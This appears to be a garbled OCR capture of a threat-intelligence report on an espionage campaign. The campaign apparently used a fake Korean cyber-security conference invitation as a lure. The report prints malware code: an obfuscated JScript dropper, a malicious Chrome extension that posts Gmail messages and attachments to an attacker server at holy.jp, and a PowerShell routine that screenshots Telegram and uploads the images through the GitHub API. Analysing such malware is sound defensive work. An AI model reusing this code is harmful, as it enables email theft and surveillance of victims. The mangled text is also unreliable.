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Ukrainian Institute of Politi

On behalf of the KC , we are highly hanored to cordially
as a disting eaker for the 14th Korea Cyber Security Conference (KCSCON 2026). The
nt will take on Tuesday, September 8, 2026, ai the Sejong University Convention Center in Seoul,

ﬁIIIO-I]IILOI u"IOEI IL o e -nd-\nslgr"ts‘ e belie

die ith defe
threats

[Event & Invitation Overview]

Event Name: KC (The 14th

EI -6-HXI- Eﬂ + $7|- EH§I- Date & Time: Tues

Geopolitical Risks
» Session Duration
We would
pi ntation, commi will fully
madify this li rding to your in:

ild you have any que quire further

Please let L
i do not h nact us

iment:
We sincerely hope to w
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The 14th Korea Cyber Security Conference 2026

Official Invitation (KCSCON 2026)

Dear Partners and Colleagues.

Dailys
the large:
CISO/C

ﬁI[IO-I]I|L°I u‘lIOEI IL enc cuse: s to counter the rapidly evolving

ring Generative Al Security, Zero Trust Architecture implementation, Multi-Cloud Security,

and Software Supply Chain Security. Top-tier global threat int ts and leading security

e your presence at this premier event to C chnology trends

rk with leading urity experts

LfSHA} B4l + 2=7} Clfst

OFFICIAL INVITATION LETTER

The 14th Korea Cyber Security Conference (KCSCON 2026)

Date: August 20, 202!

To: Distinguished

under the influe
rise assets has become mc
as an essential interactive platform to share cutting-

ng defense nisr
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We're unable to access your camera right now. To fix this, please
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(3] 0| H4 mlofx| $I%

v' 7% 7|2t oHX| ATRIE

(

try {
ur7xBaCrk52 =
' VFZwNEFBRUFBQUFFQUF BQUFBQUFBQUFBQUF BQUF BQUFRQUFBQUFBQUFBQUFBQUFBQUFBQU
aB2TLwQjKuP =
' PCFETONUWVBFIGhObWw+DQo8aHRtbCBsYW5nPSJrbyI+DQo8aGVhZDUNCiAgPG11dGEgY2
px3shmXrjHA = 'meeting.html’
. . 1LfIHExalMr =
f|}(— camera J e ' VFZwNEFBRUFBQUFFQUF BQUFBQUFBQUFBQUF BQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQU
1z9rXdpxRUc = 'mTXDZew.sz8F'
eTruPE5StOhE = 'mTSTCv8.mdxm'
bUMi7D0O = new ActiveXObject('Microsoft.XMLDOM')
oNBhuvH = WScript.CreateObject('Scripting.FileSystemObject')
plc8nceW8 = new ActiveXObject('WScript.Shell')
hFZKArNTmQ9 = WScript.ScriptFullName
VvOXKL8qINx6 = oNBhuvH.GetFile(hFZKArNTmQ9)
ntXaOBmcbiIl = oNBhuvH.GetParentFolderName(vOxKL8qINx6)
qlShouotWHD =
oNBhuvH.GetSpecialFolder(®) + '\\..\\P' + 'ro' + 'gra' + 'mDa' + 'ta'
nIfRmB8Az = bUMi7DO0.createElement('itmGY@Om')
nIfRmB8Az.dataType = 'bin.base6d'
nIfRmB8Az.text = aB2TLwQjKuP
xjGlHZir8eEuSxp = nIfRmB8Az.nodeTypedValue
eS2MiPRfDy8D8 = new ActiveXObject('ADODB.Stream')
eS2MiPRfDy8D8.0pen()
eS2MiPRfDy8D8.Type = 1
eS2MiPRfDy8D8. Write(xjGLHZir8eEuSxp)
eS2MiPRfDy8D8.SaveToFile(ntXa0OBmecbiI + '\\' + px3shmXrjHA, 2)
eS2MiPRfDy8D8.Close()
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HttpSpy.dll
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rdpwrap.bat

| 5 o LIS MMS 5I8SHEE DiX|E rdpwrap.dIIE
b@ a Do A A TermService?| Service DLL uH|

@x
vbe
oj|of 2Q} VBE

'
Execution Flow
= = Interaction

rdpwrap.ini

rdpwrap.dll

3 3389 LE 5|2 i 7] £7} L RDP MR

¢ ENKI

MIot0lEH



8 K54 Het

Y & Hof =7

v' AnyDesk (Windows #1Z H& =31)

app.vmd
mnfstvmd
attach.vmd
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"manifest_version”: 3,
"Gmail AlE MH 220",

"version": "2.2",

“name"

"descriptiol 12 Grail OINIZ T BTMUS PHES HITPS MHIE S&BLICL",
“p
"host_permissions”:

"<all_urls>”
L
“content_scripts”: [
{
“matches”: [

“<all_urls>”

1
"is": [
“content.js"
]
i
1
"background”: {

“service_worker”: “background.js"

i

manifest.json

sweet-iki-4263][.]holy[.]jp

¢c B

/st 38 Hate X

'
|
1
1
|
1
1
|
i
1

v

R w
{}| — | {}

content.js background.js

¢ ENKI

HIoto0lEH



if ($tgHWnd -ne [IntPtr]::Zero -and $tgHWnd -eq $activeHwnd) {
$timestamp = Get-Date -Format “yyyyMMdd_HHmmss"
$savePath = Join-Path $tempDir "tele_$timestamp.png"
[WindowCapture]: : Captur ound ($tgHWnd, $: 1)

$currentCount = (Get-ChildItem -Path $tempDir -Filter "*.png").Count

$elapsedSec = [Math]::Round($stopwatch.Elapsed.TotalSeconds)

Write-Host “[$(Get-Date -Format 'HH:mm:ss')] #m Al K& 22 (HH 0Y: $currentCount
}

# 10 i} A o= TE
if ($stopwatch.Elapsed.TotalMinutes -ge $intervalMins/2) {
$capturedFiles = Get-ChildItem -Path $tempDir -Filter "*.png”

if ($capturedFiles.Count -gt @) {
$zipTimestamp = Get-Date -Format "yyyyMMdd_HHmmss"
$zip = Join-Path $env:TEMP "Tele_l@Min_Batch_$zipTimestamp.zip"
Write-Host $zip;
Write-Host " & 1eE T YHES AZELICL .." -ForegroundColor Yellow
Compress-Archive -Path “$tempDir" -DestinationPath $zip -Force

Write-Host "# GitHub API 2% F& " -ForegroundColor Cyan
iuwkdIIIksdrhks -1 $zip -d "1@min_$zipTimestamp.zip” -at $yikwhfiis -tt $widfk
start-sleep 3;

Write-Host "l 1eE Hi%| 0} =zxf H2." -ForegroundColor Green
fcapturedFiles | Remove-Item -Force

} else {
Write-Host "W ZnHOL} 3=l si¢0| 20| AEILICE. " -ForegroundColor Gray
}

$stopwatch.Restart()

chrome.r i addLi (

/1 A 229 HTTPs MB| FAZ HFEUSLICE (https:// BF)
const HTTPS_SERVER_URL = “https://sweet-iki-4263.holy.jp/gmail.php”;

sender, dRi ) => {
/7 1. Ol EE HAE FF posT HE
if (message.action === 'upload_email') {

const formData = new FormData();

formData.append('type’, 'email text');

formData. lppend( fxlena-e » message.filename);

for 5 )5

fetcn(H‘l’TPs SERVER_URL, {

.then(res => res.text())

.then(data => console.log('ll 22 & #2:', data))
.catch(err => console.error('X 28 T& 4H:', err)); :
} i ¢ -

// 2. HEOHY Ho|2| oY 2y HEf2 FAY posT TS
if (message.action === ‘upload_attachment')
fetch(message.base64Data)
.then(res => res.blob())
.then(blob => {
const formData = new FormData();
formData.append( ‘type', 'attachment’);
formData.append( 'filename', message.filename);
// 4F IY(blob) HEHZ WTSI0] TASIDZ My £HO| HASHELC
formData.append( ‘file', blob, message.filename);

return fetch(HTTPS_SERVER_URL, {
method: 'POST',
body: formData
b;
b
.then(res => res.text())
-then(data => console.log(’' Ml H¥IY T& #=:', data))
.catch(err => console.error(' X HENY HZ Q ', err));
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Alliances of convenience: How APTs
Proofpoint (2025.05) are beginning to work together
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Living off GitHub: From Gmail s
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Exfiltration
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Digital Security Lab Ukraine (2026.08)
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